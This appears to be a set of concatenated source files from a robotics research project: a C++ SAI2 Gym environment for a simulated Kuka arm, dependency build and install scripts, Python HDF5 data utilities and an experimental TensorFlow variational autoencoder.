std::shared_ptr<Graphics::GraphicsInterface> graphics, std::string& robot_name, size_t window_width = 400, size_t window_height = 300) : robot_(robot), dof(robot->dof()), kRobotName(robot_name), sim(sim), kWindowWidth(window_width), kWindowHeight(window_height), thread_graphics(&CSaiEnv::graphicsMain, this, graphics), // graphics(dynamic_cast<Graphics::ChaiGraphics *>(graphics->_graphics_internal)), KEY_COMMAND_TORQUES (RedisServer::KEY_PREFIX + robot_name + "::actuators::fgc"), KEY_EE_POS (RedisServer::KEY_PREFIX + robot_name + "::tasks::ee_pos"), KEY_EE_POS_DES (RedisServer::KEY_PREFIX + robot_name + "::tasks::ee_pos_des"), KEY_JOINT_POSITIONS (RedisServer::KEY_PREFIX + robot_name + "::sensors::q"), KEY_JOINT_VELOCITIES(RedisServer::KEY_PREFIX + robot_name + "::sensors::dq"), KEY_TIMESTAMP (RedisServer::KEY_PREFIX + robot_name + "::timestamp"), KEY_KP_POSITION (RedisServer::KEY_PREFIX + robot_name + "::tasks::kp_pos"), KEY_KV_POSITION (RedisServer::KEY_PREFIX + robot_name + "::tasks::kv_pos"), KEY_KP_ORIENTATION (RedisServer::KEY_PREFIX + robot_name + "::tasks::kp_ori"), KEY_KV_ORIENTATION (RedisServer::KEY_PREFIX + robot_name + "::tasks::kv_ori"), KEY_KP_JOINT (RedisServer::KEY_PREFIX + robot_name + "::tasks::kp_joint"), KEY_KV_JOINT (RedisServer::KEY_PREFIX + robot_name + "::tasks::kv_joint"), command_torques_(dof), q_des_(dof), dq_des_(dof) { reset(); } /***** Public functions *****/ void initialize(); void runLoop(); bool step(const double *action, uint8_t *observation, double& reward, double *info); void reset(uint8_t *observation); protected: /***** Enums *****/ // State enum for controller state machine inside runloop() enum ControllerState { REDIS_SYNCHRONIZATION, JOINT_SPACE_INITIALIZATION, OP_SPACE_POSITION_CONTROL }; // Return values from computeControlTorques() methods enum ControllerStatus { RUNNING, // Not yet converged to goal position FINISHED // Converged to goal position }; /***** Constants *****/ const int dof; // Initialized with robot model const double kToleranceInitQ = 0.1; // Joint space initialization tolerance const double kToleranceInitDq = 0.1; // Joint space initialization tolerance const double kMaxVelocity = 0.5; // Maximum end effector velocity const double kToleranceInitX = 0.01; // Task space initialization tolerance const int kControlFreq = 1000; // 1 kHz control loop const int kSimulationFreq = 10000; // 1 kHz control loop const int kEnvironmentFreq = 100; // 1 kHz control loop const int kInitializationPause = 1e6; // 1ms pause before starting control loop const std::string kRedisHostname = "127.0.0.1"; const int kRedisPort = 6379; const std::string kRobotName; const std::string kCameraName = "camera_fixed"; const Eigen::Vector3d kCameraPos = Eigen::Vector3d(-0.5, 0.0, 1.1); const Eigen::Vector3d kCameraVertical = Eigen::Vector3d(0, 0, 1); const Eigen::Vector3d kCameraLookat = Eigen::Vector3d(0, -0.3, 0.5); // const Eigen::Vector3d kCameraPos = Eigen::Vector3d(-0.8, -0.1, 0.9); // const Eigen::Vector3d kCameraVertical = Eigen::Vector3d(0, 0, 1); // const Eigen::Vector3d kCameraLookat = Eigen::Vector3d(0, -0.3, 0.5); const int kWindowWidth; const int kWindowHeight; const double kWallTolerance = 0.02; const double kCornerDistance = 0.1; const Eigen::Vector3d kCenter = Eigen::Vector3d(0, -0.45, 0.55); const double kCenterDistance = 0.2; const double kTimeEpisode = 10; // Redis keys: // - write: const std::string KEY_COMMAND_TORQUES; const std::string KEY_EE_POS; const std::string KEY_EE_POS_DES; // - read: const std::string KEY_JOINT_POSITIONS; const std::string KEY_JOINT_VELOCITIES; const std::string KEY_TIMESTAMP; const std::string KEY_KP_POSITION; const std::string KEY_KV_POSITION; const std::string KEY_KP_ORIENTATION; const std::string KEY_KV_ORIENTATION; const std::string KEY_KP_JOINT; const std::string KEY_KV_JOINT; /***** Member functions *****/ void reset(); void readRedisValues(); void updateModel(); void writeRedisValues(); ControllerStatus computeJointSpaceControlTorques(); ControllerStatus computeOperationalSpaceControlTorques(); ControllerStatus computeSimpleOperationalSpaceControlTorques(); void syncGraphics(); void graphicsMain(std::shared_ptr<Graphics::GraphicsInterface> graphics); /***** Member variables *****/ // Robot const std::shared_ptr<Model::ModelInterface> robot_; const std::shared_ptr<Simulation::SimulationInterface> sim; Graphics::ChaiGraphics *graphics; bool update_graphics_ = false; std::mutex mutex_graphics_; std::mutex mutex_robot_; std::condition_variable cv_; std::thread thread_simulator; std::thread thread_graphics; // Redis RedisClient redis_; // Timer LoopTimer timer_; double t_curr_; uint64_t controller_counter_ = 0; // State machine ControllerState controller_state_ = REDIS_SYNCHRONIZATION; // Controller variables Eigen::VectorXd command_torques_; Eigen::MatrixXd J_; Eigen::MatrixXd N_; Eigen::MatrixXd Lambda_ = Eigen::MatrixXd(6, 6); Eigen::VectorXd g_; Eigen::Vector3d x_, dx_; Eigen::Matrix3d R_des_, R_ee_to_base_; Eigen::Vector3d w_; Eigen::VectorXd q_des_, dq_des_; Eigen::Vector3d x_des_, dx_des_; Eigen::Vector3d action_; // Graphics GLubyte *gl_buffer_ = nullptr; // Default gains (used only when keys are nonexistent in Redis) double kp_action_ = 100; double kp_pos_ = 100; double kv_pos_ = 20; double kp_ori_ = 200; double kv_ori_ = 40; double kp_joint_ = 40; double kv_joint_ = 10; }; #endif // C_SAI_ENV_H <file_sep># cd NatNetLinux.git # git submodule update --init # cd .. # TODO: Place inside sai2-common curl -L https://bitbucket.org/eigen/eigen/get/3.3.4.zip -o eigen-3.3.4.zip unzip eigen-3.3.4.zip mv eigen-eigen-* eigen # TODO: Place inside sai2-common curl -L https://bitbucket.org/rbdl/rbdl/get/v2.5.0.zip -o rbdl-2.5.0.zip unzip rbdl-2.5.0.zip mv rbdl-rbdl-* rbdl cd rbdl mkdir -p build cd build cmake -DCMAKE_BUILD_TYPE=Release -DRBDL_BUILD_ADDON_URDFREADER=ON -DRBDL_USE_ROS_URDF_LIBRARY=OFF .. make -j4 cd ../.. cd chai3d.git git submodule update --init mkdir -p build cd build cmake -DCMAKE_BUILD_TYPE=Release .. make -j4 cd ../.. # cd sai2-common.git # # git submodule update --init --recursive # mkdir -p build_rel # cd build_rel # cmake -DCMAKE_BUILD_TYPE=Release .. # make -j4 # cd ../.. # cd sai2-simulation.git # # git submodule update --init --recursive # mkdir -p build_rel # cd build_rel # cmake -DCMAKE_BUILD_TYPE=Release .. # make -j4 # cd ../.. <file_sep>#include "CSaiEnv.h" #include <iostream> #include <fstream> #include <cmath> #include <signal.h> #include <stdlib.h> static volatile bool g_runloop = true; void stop(int) { g_runloop = false; } // Return true if any elements in the Eigen::MatrixXd are NaN template<typename Derived> static inline bool isnan(const Eigen::MatrixBase<Derived>& x) { return (x.array() != x.array()).any(); } static void glfwError(int error, const char* description) { std::cerr << "GLFW Error: " << description << std::endl; exit(1); } /** * CSaiEnv::reset() * ---------------- * Reset robot simulation. */ void CSaiEnv::reset() { controller_counter_ = 0; command_torques_.setZero(); // Home configuration for Kuka iiwa // q_des_ << 90, -30, 0, 60, 0, -90, -60; // q_des_ *= M_PI / 180.0; q_des_ << 1.570796, -0.151874, 0, 1.681582, 0, -1.308137, -1.570796; dq_des_.setZero(); // Desired end effector position x_des_ << kCenterDistance * (2 * (double)rand() / RAND_MAX - 1) + kCenter(0), kCenterDistance * (2 * (double)rand() / RAND_MAX - 1) + kCenter(1), kCenter(2); action_ << 0, 0, 0; dx_des_.setZero(); R_des_ << 1, 0, 0, 0, -1, 0, 0, 0, -1; // Reset model sim->setJointPositions(kRobotName, q_des_); sim->setJointVelocities(kRobotName, dq_des_); try { readRedisValues(); } catch (std::exception& e) { std::cout << e.what() << std::endl; } updateModel(); // 10s to get to random x_des while ((x_ - x_des_).norm() > kToleranceInitX) { computeSimpleOperationalSpaceControlTorques(); sim->setJointTorques(kRobotName, command_torques_); sim->integrate(1.0 / kControlFreq); sim->getJointPositions(kRobotName, robot_->_q); sim->getJointVelocities(kRobotName, robot_->_dq); updateModel(); } // Freeze model at current configuration command_torques_.setZero(); sim->setJointVelocities(kRobotName, dq_des_); try { readRedisValues(); } catch (std::exception& e) { std::cout << e.what() << std::endl; } updateModel(); } /** * CSaiEnv::reset() * ---------------- * Reset for OpenAI gym. */ void CSaiEnv::reset(uint8_t *observation) { reset(); gl_buffer_ = observation; syncGraphics(); }; /** * CSaiEnv::step() * --------------- * Step dynamics for OpenAI gym. */ bool CSaiEnv::step(const double *action, uint8_t *observation, double& reward, double *info) { for (int i = 0; i < kControlFreq / kEnvironmentFreq; i++) { ++controller_counter_; action_ << action[0], action[1], 0; computeOperationalSpaceControlTorques(); writeRedisValues(); try { readRedisValues(); } catch (std::exception& e) { std::cout << e.what() << std::endl; } updateModel(); } gl_buffer_ = observation; // Tell graphics to update mutex_graphics_.lock(); update_graphics_ = true; mutex_graphics_.unlock(); cv_.notify_all(); // Compute reward if (((x_ - kCenter).array().abs() > kCenterDistance - kWallTolerance).any()) { reward = -1; } else if ((x_ - (kCenter + Eigen::Vector3d(-kCenterDistance, kCenterDistance, 0))).norm() < kCornerDistance) { reward = 1; } else { reward = 0; } // Wait for graphics to finish std::unique_lock<std::mutex> lock_graphics(mutex_graphics_); cv_.wait(lock_graphics, [this]{ return !update_graphics_; }); // Finish episode after 10s bool done = false;//controller_counter_ / kControlFreq >= kTimeEpisode;// || // ((x_ - kCenter).array().abs() > kCenterDistance).any(); // Return debug info if (info != nullptr) { for (int i = 0; i < 3; i++) info[ i] = x_(i); for (int i = 0; i < 3; i++) info[3+i] = dx_(i); } return done; }; /** * CSaiEnv::readRedisValues() * -------------------------- * Retrieve all read keys from Redis. */ void CSaiEnv::readRedisValues() { // Read from Redis current sensor values sim->getJointPositions(kRobotName, robot_->_q); sim->getJointVelocities(kRobotName, robot_->_dq); } /** * CSaiEnv::writeRedisValues() * --------------------------- * Send all write keys to Redis. */ void CSaiEnv::writeRedisValues() { sim->setJointTorques(kRobotName, command_torques_); for (int i = 0; i < kSimulationFreq / kControlFreq; i++) { sim->integrate(1.0 / kSimulationFreq); } redis_.setEigenMatrix(KEY_JOINT_POSITIONS, robot_->_q); redis_.setEigenMatrix(KEY_EE_POS, x_); redis_.setEigenMatrix(KEY_EE_POS_DES, action_); } /** * CSaiEnv::updateModel() * ---------------------- * Update the robot model and all the relevant member variables. */ void CSaiEnv::updateModel() { std::lock_guard<std::mutex> lock(mutex_robot_); // Update the model robot_->updateModel(); // Forward kinematics x_ = robot_->position("link6", Eigen::Vector3d::Zero()); dx_ = robot_->linearVelocity("link6", Eigen::Vector3d::Zero()); w_ = robot_->angularVelocity("link6"); R_ee_to_base_ = robot_->rotation("link6"); // Jacobians J_ = robot_->J("link6", Eigen::Vector3d::Zero()); N_ = robot_->nullspaceMatrix(J_); // Dynamics Lambda_ = robot_->taskInertiaMatrixWithPseudoInv(J_); g_ = robot_->gravityVector(); } /** * CSaiEnv::computeJointSpaceControlTorques() * ------------------------------------------ * Controller to initialize robot to desired joint position. */ CSaiEnv::ControllerStatus CSaiEnv::computeJointSpaceControlTorques() { // Finish if the robot has converged to q_initial Eigen::VectorXd q_err = robot_->_q - q_des_; Eigen::VectorXd dq_err = robot_->_dq - dq_des_; if (q_err.norm() < kToleranceInitQ && dq_err.norm() < kToleranceInitDq) { return FINISHED; } // Compute torques Eigen::VectorXd ddq = -kp_joint_ * q_err - kv_joint_ * dq_err; command_torques_ = robot_->_M * ddq + g_; return RUNNING; } /** * CSaiEnv::computeOperationalSpaceControlTorques() * ------------------------------------------------ * Controller to move end effector to desired position. */ CSaiEnv::ControllerStatus CSaiEnv::computeOperationalSpaceControlTorques() { // PD position control with velocity saturation Eigen::Vector3d x_err = x_ - x_des_; // Push back x if hit wall if (x_(0) < kCenter(0) - kCenterDistance) { x_err(0) = x_(0) - kCenter(0); } else if (x_(0) > kCenter(0) + kCenterDistance) { x_err(0) = x_(0) - kCenter(0); } else { x_err(0) = kp_action_ / kp_pos_ * (action_(0)); } // Push back y if hit wall if (x_(1) < kCenter(1) - kCenterDistance) { x_err(1) = x_(1) - kCenter(1); } else if (x_(1) > kCenter(1) + kCenterDistance) { x_err(1) = x_(1) - kCenter(1); } else { x_err(1) = kp_action_ / kp_pos_ * (action_(1)); } Eigen::Vector3d dx_err = dx_ - dx_des_; Eigen::Vector3d ddx = -kp_pos_ * x_err - kv_pos_ * dx_err; // dx_des_ = -(kp_pos_ / kv_pos_) * x_err; // double v = kMaxVelocity / dx_des_.norm(); // if (v > 1) v = 1; // Eigen::Vector3d dx_err = dx_ - v * dx_des_; // Eigen::Vector3d ddx = -kv_pos_ * dx_err; // Orientation Eigen::Vector3d dPhi = robot_->orientationError(R_des_, R_ee_to_base_); Eigen::Vector3d dw = -kp_ori_ * dPhi - kv_ori_ * w_; // Nullspace posture control and damping Eigen::VectorXd q_err = robot_->_q - q_des_; Eigen::VectorXd dq_err = robot_->_dq - dq_des_; Eigen::VectorXd ddq = -kp_joint_ * q_err - kv_joint_ * dq_err; // Control torques Eigen::VectorXd ddx_dw(6); ddx_dw << ddx, dw; Eigen::VectorXd F = Lambda_ * ddx_dw; Eigen::VectorXd F_posture = robot_->_M * ddq; command_torques_ = J_.transpose() * F + N_.transpose() * F_posture + g_; return RUNNING; } CSaiEnv::ControllerStatus CSaiEnv::computeSimpleOperationalSpaceControlTorques() { // PD position control with velocity saturation Eigen::Vector3d x_err = x_ - x_des_; Eigen::Vector3d dx_err = dx_ - dx_des_; Eigen::Vector3d ddx = -kp_pos_ * x_err - kv_pos_ * dx_err; // Orientation Eigen::Vector3d dPhi = robot_->orientationError(R_des_, R_ee_to_base_); Eigen::Vector3d dw = -kp_ori_ * dPhi - kv_ori_ * w_; // Nullspace posture control and damping Eigen::VectorXd q_err = robot_->_q - q_des_; Eigen::VectorXd dq_err = robot_->_dq - dq_des_; Eigen::VectorXd ddq = -kp_joint_ * q_err - kv_joint_ * dq_err; // Control torques Eigen::VectorXd ddx_dw(6); ddx_dw << ddx, dw; Eigen::VectorXd F = Lambda_ * ddx_dw; Eigen::VectorXd F_posture = robot_->_M * ddq; command_torques_ = J_.transpose() * F + N_.transpose() * F_posture + g_; return RUNNING; } /** * public CSaiEnv::initialize() * ---------------------------- * Initialize timer and Redis client */ void CSaiEnv::initialize() { // Create a loop timer timer_.setLoopFrequency(kControlFreq); // 1 KHz // timer.setThreadHighPriority(); // make timing more accurate. requires running executable as sudo. timer_.setCtrlCHandler(stop); // exit while loop on ctrl-c timer_.initializeTimer(kInitializationPause); // 1 ms pause before starting loop // Start redis client // Make sure redis-server is running at localhost with default port 6379 redis_.connect(kRedisHostname, kRedisPort); } /** * public CSaiEnv::syncGraphics() * ------------------------------- * Wait for graphics to finish update. */ void CSaiEnv::syncGraphics() { // Tell graphics to update mutex_graphics_.lock(); update_graphics_ = true; mutex_graphics_.unlock(); cv_.notify_all(); // Wait for graphics to finish std::unique_lock<std::mutex> lock_graphics(mutex_graphics_); cv_.wait(lock_graphics, [this]{ return !update_graphics_; }); } /** * public CSaiEnv::graphicsMain() * ------------------------------ * Graphics thread. */ void CSaiEnv::graphicsMain(std::shared_ptr<Graphics::GraphicsInterface> graphics) { Graphics::ChaiGraphics *chai = dynamic_cast<Graphics::ChaiGraphics *>(graphics->_graphics_internal); // Start visualization glfwSetErrorCallback(glfwError); glfwInit(); // Create window const GLFWvidmode* mode = glfwGetVideoMode(glfwGetPrimaryMonitor()); glfwWindowHint(GLFW_VISIBLE, 0); GLFWwindow *window = glfwCreateWindow(kWindowWidth, kWindowHeight, "SAI2 OpenAI Gym Environment", nullptr, nullptr); glfwSetWindowPos(window, 0.5 * (mode->height - kWindowHeight), 0.5 * (mode->height - kWindowHeight)); glfwShowWindow(window); glfwMakeContextCurrent(window); glfwSwapInterval(1); chai->setCameraPose(kCameraName, kCameraPos, kCameraVertical, kCameraLookat); while (g_runloop && !glfwWindowShouldClose(window)) { // Wait for update notification std::unique_lock<std::mutex> lock_graphics(mutex_graphics_); cv_.wait(lock_graphics, [this]{ return update_graphics_ || !g_runloop; }); if (!g_runloop) break; // Update robot visualization mutex_robot_.lock(); chai->updateGraphics(kRobotName, robot_.get()); mutex_robot_.unlock(); // Render graphics chai->render(kCameraName, kWindowWidth, kWindowHeight); glfwSwapBuffers(window); glFinish(); // Take screenshot if (gl_buffer_ == nullptr) { gl_buffer_ = new uint8_t[3 * kWindowWidth * kWindowHeight]; } glReadPixels(0, 0, kWindowWidth, kWindowHeight, GL_RGB, GL_UNSIGNED_BYTE, gl_buffer_); if (glGetError() != GL_NO_ERROR) g_runloop = false; // Notify threads waiting on graphics update_graphics_ = false; lock_graphics.unlock(); cv_.notify_all(); } g_runloop = false; glfwDestroyWindow(window); glfwTerminate(); } /** * public CSaiEnv::runLoop() * ------------------------- * CSaiEnv state machine */ void CSaiEnv::runLoop() { while (g_runloop) { // Wait for next scheduled loop (controller must run at precise rate) // timer_.waitForNextLoop(); ++controller_counter_; // Get latest sensor values from Redis and update robot model try { readRedisValues(); } catch (std::exception& e) { if (controller_state_ != REDIS_SYNCHRONIZATION) { std::cout << e.what() << " Aborting..." << std::endl; break; } std::cout << e.what() << " Waiting..." << std::endl; std::this_thread::sleep_for(std::chrono::seconds(1)); continue; } updateModel(); switch (controller_state_) { // Wait until valid sensor values have been published to Redis case REDIS_SYNCHRONIZATION: if (isnan(robot_->_q)) continue; std::cout << "Redis synchronized. Switching to joint space controller." << std::endl; controller_state_ = JOINT_SPACE_INITIALIZATION; break; // Initialize robot to default joint configuration case JOINT_SPACE_INITIALIZATION: if (computeJointSpaceControlTorques() == FINISHED) { std::cout << "Joint position initialized. Switching to operational space controller." << std::endl; controller_state_ = CSaiEnv::OP_SPACE_POSITION_CONTROL; }; break; // Control end effector to desired position case OP_SPACE_POSITION_CONTROL: computeOperationalSpaceControlTorques(); break; // Invalid state. Zero torques and exit program. default: std::cout << "Invalid controller state. Stopping controller." << std::endl; g_runloop = false; command_torques_.setZero(); break; } // Check command torques before sending them if (isnan(command_torques_)) { std::cout << "NaN command torques. Sending zero torques to robot." << std::endl; command_torques_.setZero(); } // Send command torques writeRedisValues(); if (controller_counter_ % (kControlFreq / kEnvironmentFreq) == 0) { mutex_graphics_.lock(); update_graphics_ = true; mutex_graphics_.unlock(); cv_.notify_all(); } } // Zero out torques before quitting command_torques_.setZero(); // redis_.setEigenMatrix(KEY_COMMAND_TORQUES, command_torques_); thread_graphics.join(); } int main(int argc, char** argv) { // Parse command line if (argc != 4) { std::cout << "Usage: demo_app <path-to-world.urdf> <path-to-robot.urdf> <robot-name>" << std::endl; exit(0); } // Argument 0: executable name // Argument 1: <path-to-world.urdf> std::string world_file(argv[1]); // Argument 2: <path-to-robot.urdf> std::string robot_file(argv[2]); // Argument 3: <robot_-name> std::string robot_name(argv[3]); // Set up signal handler signal(SIGABRT, &stop); signal(SIGTERM, &stop); signal(SIGINT, &stop); // Load robot std::cout << "Loading robot: " << robot_file << std::endl; auto robot = std::make_shared<Model::ModelInterface>(robot_file, Model::rbdl, Model::urdf, false); auto sim = std::make_shared<Simulation::SimulationInterface>(world_file, Simulation::sai2simulation, Simulation::urdf, false); auto graphics = std::make_shared<Graphics::GraphicsInterface>(world_file, Graphics::chai, Graphics::urdf, true); // Start controller app std::cout << "Initializing app with " << robot_name << std::endl; CSaiEnv app(std::move(robot), std::move(sim), std::move(graphics), robot_name); app.initialize(); std::cout << "App initialized. Waiting for Redis synchronization." << std::endl; app.runLoop(); return 0; } <file_sep>from gym_sai2.envs.sai2_env import SaiEnv <file_sep>set -e # --------------------------------------- # Install precompiled 3rd party libraries # --------------------------------------- if [[ "$OSTYPE" == "linux-gnu" ]]; then sudo apt-get install curl cmake libeigen3-dev libtinyxml2-dev libjsoncpp-dev libhiredis-dev libglfw3-dev xorg-dev freeglut3-dev libasound2-dev libusb-1.0-0-dev redis-server # Install gcc 5 for Ubuntu 14.04: # sudo add-apt-repository ppa:ubuntu-toolchain-r/test # sudo apt-get update # sudo apt-get install gcc-5 g++-5 # sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 60 --slave /usr/bin/g++ g++ /usr/bin/g++-5 elif [[ "$OSTYPE" == "darwin"* ]]; then brew install cmake eigen redis hiredis tinyxml2 jsoncpp glfw3 fi mkdir -p lib cd lib ./download.sh cd .. <file_sep>""" Utility functions for processing data. """ import os import h5py import numpy as np import math import glob from time import strftime, gmtime def list_files(): filepath = os.path.join("data") files = glob.glob(os.path.join(filepath, "*.hdf5")) files = sorted(files, key=lambda f: os.stat(f).st_mtime) return files def get_filename(idx): filename = list_files()[idx] print("Loading: ", filename) return filename def get_mean_observation(filename): f = h5py.File(filename, "r") # Calculate mean observation if not "mean_observation" in f: dim_o = np.array(f["episodes/00000/observations"].shape)[1:] # Initialize mean D = 100 D_actual = 0 mean_observation = np.zeros(dim_o) # Iterate over episodes episodes = f["episodes"] for i in episodes: try: observations = episodes[i]["observations"][()] except: # Corrupt data continue observation = (observations.astype(np.float64) / 255).mean(axis=0) mean_observation += observation / D D_actual += 1 # if D_actual >= D: # break mean_observation *= D / D_actual # Write mean observation to file f.close() with h5py.File(filename, "a") as f: dset = f.create_dataset("mean_observation", mean_observation.shape, dtype=mean_observation.dtype) dset[...] = mean_observation else: mean_observation = f["mean_observation"][()] f.close() return mean_observation def get_observation_dim(filename=None): if filename is None: filename = get_filename(-1) mean_observation = get_mean_observation(filename) return mean_observation.shape def raw_data(size_batch=100, filename=None): if filename is None: filename = get_filename(-1) f = h5py.File(filename, "r") episodes = f["episodes"] o = [] T = 0 for i in range(len(episodes)): grp = episodes["{0:05d}".format(i)] observations = grp["observations"][()].astype(np.float32) # Append data to lists o.append(observations) T += observations.shape[0] if T >= size_batch: # Gather batch o = np.concatenate(o, axis=0) return o[:size_batch] def batch_data(data=None, size_batch=100, extra=False, filename=None, dataset="all", flatten=True): if data is not None: observations = data[1] try: mean_observation = np.load("../resources/mean_observation.npy") except: print("Could not load ../resources/mean_observation.npy") num_observations = sum(o.shape[0] for o in observations) mean_observation = sum(np.mean(o.astype(np.float64), axis=0) * (o.shape[0] / num_observations / 255) for o in observations) mean_observation = mean_observation[np.newaxis,...].astype(np.float32) for a, o, r, x, dx, s_hat in zip(*data): # Preprocess observation o = o.astype(np.float32) / 255 - mean_observation if flatten: o = o.reshape(o.shape[0], -1) assert np.all(np.any(np.abs(o) > 0.01, axis=1)) if extra: x = x[...,:2] - np.array([0, -0.45])[np.newaxis,:] dx = dx[...,:2] yield (o, a, r, x, dx, s_hat) else: yield (o, a, r) return if filename is None: filename = get_filename(-1) mean_observation = get_mean_observation(filename) f = h5py.File(filename, "r") episodes = f["episodes"] if dataset == "train": D = (0, math.floor(0.8 * len(episodes))) size_batch = min(1000 * D[1], size_batch) elif dataset == "test": D = (math.floor(0.8 * len(episodes)), len(episodes)) size_batch = min(1000 * (D[1] - D[0]), size_batch) else: D = (0, len(episodes)) size_batch = min(1000 * D[1], size_batch) print(dataset, D, len(episodes)) while True: if D[0] == 0: o_0 = f["initial_observation"][()].astype(np.float32) if extra: x_0 = np.zeros(2, dtype=np.float32) else: try: o_0 = episodes["{0:05d}/observations".format(D[0]-1)][-1,...].astype(np.float32) if extra: x_0 = episodes["{0:05d}/xs".format(D[0]-1)][-1,...].astype(np.float32) x_0 -= np.array([0, -0.45], dtype=np.float32)[np.newaxis,:] except: o_0 = f["initial_observation"][()].astype(np.float32) if extra: x_0 = np.zeros(2, dtype=np.float32) o_0 = o_0 / 255 - mean_observation if flatten: o_0 = o_0.reshape(-1) o_0 = o_0[np.newaxis,...] o = [o_0] a = [] r = [] if extra: x_0 = x_0[np.newaxis,:] x = [x_0] dx = [] T = 0 for i in range(D[0], D[1]): try: grp = episodes["{0:05d}".format(i)] actions = grp["actions"][()].astype(np.float32) observations = grp["observations"][()].astype(np.float32) rewards = grp["rewards"][()].astype(np.float32) if extra: xs = grp["xs"][()].astype(np.float32) dxs = grp["dxs"][()].astype(np.float32) except: continue # Flatten observations and center observations = observations / 255 - mean_observation[np.newaxis,...] if flatten: observations = observations.reshape(observations.shape[0],-1) assert np.all(np.any(np.abs(observations) > 0.01, axis=1)) # Append data to lists o.append(observations) a.append(actions) r.append(rewards) if extra: x.append(xs[...,:2] - np.array([0, -0.45], dtype=np.float32)[np.newaxis,:]) dx.append(dxs[...,:2]) T += observations.shape[0] if T >= size_batch: # Gather batch o = np.concatenate(o, axis=0) a = np.concatenate(a, axis=0) r = np.concatenate(r, axis=0) if extra: x = np.concatenate(x, axis=0) dx = np.concatenate(dx, axis=0) # Yield batch if dataset == "test": while True: if extra: yield (o, a, r, x, dx) else: yield (o, a, r) else: if extra: yield (o, a, r, x, dx) else: yield (o, a, r) o_0 = o[-1,np.newaxis,...] o = [o_0] a = [] r = [] if extra: x_0 = x[-1,np.newaxis,:] x = [x_0] dx = [] T = 0 # print("Dataset finished: " + dataset) class DataLogger: def __init__(self): if not os.path.exists("results"): os.makedirs("results") self.filename = "results/data-{}.hdf5".format(strftime("%m-%d_%H-%M"), gmtime()) self.f = h5py.File(self.filename, "w") self.actions_history = [] self.observations_history = [] self.rewards_history = [] self.xs_history = [] self.dxs_history = [] self.learned_states_history = [] def log_initial_observation(self, initial_observation): dset = self.f.create_dataset("initial_observation", initial_observation.shape, dtype=initial_observation.dtype) dset[...] = initial_observation def log(self, i, actions, observations, rewards, xs, dxs, learned_states): # Save trajectory to dataset grp = self.f.create_group("/episodes/{0:05d}".format(i)) dset = grp.create_dataset("actions", actions.shape, dtype=actions.dtype) dset[...] = actions dset = grp.create_dataset("observations", observations.shape, dtype=observations.dtype) dset[...] = observations dset = grp.create_dataset("rewards", rewards.shape, dtype=rewards.dtype) dset[...] = rewards dset = grp.create_dataset("xs", xs.shape, dtype=xs.dtype) dset[...] = xs dset = grp.create_dataset("dxs", dxs.shape, dtype=dxs.dtype) dset[...] = dxs dset = grp.create_dataset("learned_states", learned_states.shape, dtype=learned_states.dtype) dset[...] = learned_states # Add to history self.actions_history.append(actions) self.observations_history.append(observations) self.rewards_history.append(rewards) self.xs_history.append(xs) self.dxs_history.append(dxs) self.learned_states_history.append(learned_states) def flush(self): actions = self.actions_history observations = self.observations_history rewards = self.rewards_history xs = self.xs_history dxs = self.dxs_history learned_states = self.learned_states_history self.actions_history = [] self.observations_history = [] self.rewards_history = [] self.xs_history = [] self.dxs_history = [] self.learned_states_history = [] self.f.flush() return actions, observations, rewards, xs, dxs, learned_states def __enter__(self): return self def __exit__(self, etype, value, traceback): self.f.close() <file_sep>""" Variational autoencoder (experimental). """ import numpy as np import matplotlib.pyplot as plt import tensorflow as tf from data import * import os from time import strftime from robotic_priors import * print(list_files()) filename = get_filename(-1) print(filename) train_batch = batch_data(size_batch=1000, extra=True, filename=filename, dataset="train", reshape=False) test_batch = batch_data(size_batch=5000, extra=True, filename=filename, dataset="test", reshape=False) x_test, _, _, _, _ = next(test_batch) dim_image = list(get_observation_dim(filename)) dim_o = 2*28224#np.prod(dim_image) dim_x = 2 dim_a = 2 dim_h1 = 32 dim_h2 = 8 krn_h1 = 5 krn_h2 = 5 input_dim = np.prod(dim_image)#np.prod(np.array(get_observation_dim(filename))) hidden_encoder_dim = 400 hidden_decoder_dim = 1024 latent_dim = 2 lam = 0 def weight_variable(shape): initial = tf.truncated_normal(shape, stddev=0.001) return tf.Variable(initial) def bias_variable(shape): initial = tf.constant(0., shape=shape) return tf.Variable(initial) x = tf.placeholder("float", shape=[None] + dim_image, name="x") x_flat = tf.reshape(x, [-1, input_dim]) l2_loss = tf.constant(0.0) conv1 = tf.layers.conv2d( inputs=x, filters=dim_h1, kernel_size=(krn_h1, krn_h1), padding="valid", strides=(2,2), activation=tf.nn.relu, name="conv1" ) # 98 x 73 x 16 pool1 = tf.layers.max_pooling2d( inputs=conv1, pool_size=(2,2), strides=2, name="pool1" ) # 49 x 36 x 16 h1 = tf.reshape(pool1, [-1, dim_o]) W_encoder_input_hidden = weight_variable([dim_o,hidden_encoder_dim]) b_encoder_input_hidden = bias_variable([hidden_encoder_dim]) l2_loss += tf.nn.l2_loss(W_encoder_input_hidden) # Hidden layer encoder # hidden_encoder = tf.nn.relu(tf.matmul(x, W_encoder_input_hidden) + b_encoder_input_hidden) hidden_encoder = tf.nn.relu(tf.matmul(h1, W_encoder_input_hidden) + b_encoder_input_hidden) W_encoder_hidden_mu = weight_variable([hidden_encoder_dim,latent_dim]) b_encoder_hidden_mu = bias_variable([latent_dim]) l2_loss += tf.nn.l2_loss(W_encoder_hidden_mu) # Mu encoder mu_encoder = tf.add(tf.matmul(hidden_encoder, W_encoder_hidden_mu), b_encoder_hidden_mu, name= "mu_encoder") W_encoder_hidden_logvar = weight_variable([hidden_encoder_dim,latent_dim]) b_encoder_hidden_logvar = bias_variable([latent_dim]) l2_loss += tf.nn.l2_loss(W_encoder_hidden_logvar) # Sigma encoder logvar_encoder = tf.matmul(hidden_encoder, W_encoder_hidden_logvar) + b_encoder_hidden_logvar # Sample epsilon epsilon = tf.random_normal(tf.shape(logvar_encoder), name='epsilon') # Sample latent variable std_encoder = tf.exp(0.5 * logvar_encoder) z = mu_encoder + tf.multiply(std_encoder, epsilon) W_decoder_z_hidden = weight_variable([latent_dim,hidden_decoder_dim]) b_decoder_z_hidden = bias_variable([hidden_decoder_dim]) l2_loss += tf.nn.l2_loss(W_decoder_z_hidden) # Hidden layer decoder hidden_decoder = tf.nn.relu(tf.matmul(z, W_decoder_z_hidden) + b_decoder_z_hidden) W_decoder_hidden_reconstruction = weight_variable([hidden_decoder_dim, input_dim]) b_decoder_hidden_reconstruction = bias_variable([input_dim]) l2_loss += tf.nn.l2_loss(W_decoder_hidden_reconstruction) KLD = -0.5 * tf.reduce_sum(1 + logvar_encoder - tf.pow(mu_encoder, 2) - tf.exp(logvar_encoder), reduction_indices=1) 